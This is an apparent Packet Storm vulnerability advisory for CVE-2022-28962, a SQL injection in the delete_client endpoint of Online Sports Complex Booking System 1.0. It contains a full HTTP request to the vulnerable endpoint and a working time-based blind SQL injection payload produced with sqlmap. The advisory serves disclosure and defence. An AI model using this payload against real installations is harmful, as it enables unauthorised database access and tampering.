CVE-2022-28962: Online Sports Complex Booking System 1.0 SQL Injection ≈ Packet Storm

#### Title: Online Sports Complex Booking System 1.0 SQL Injection#### Author: Zllggggg#### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html#### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip####  Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md#### Tested on: Windows, MySQL, ApacheAfter entering the background, click the registered clients navigation, select a piece of data and click delete[image: 1648884355.jpg]Find the corresponding source code and find that the ID parameter passed bypost does not have any filtering[image: 1648884613.jpg]The vulnerability is also verified in sqlmap [image: 1648884408.jpg]Data packet```POST /scbs/classes/Users.php?f=delete_client HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)Gecko/20100101 Firefox/98.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 4Origin: http://localhostConnection: closeReferer: http://localhost/scbs/admin/?page=clientsCookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originid=2```Payload```Parameter: id (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND'aPSM'='aPSM---```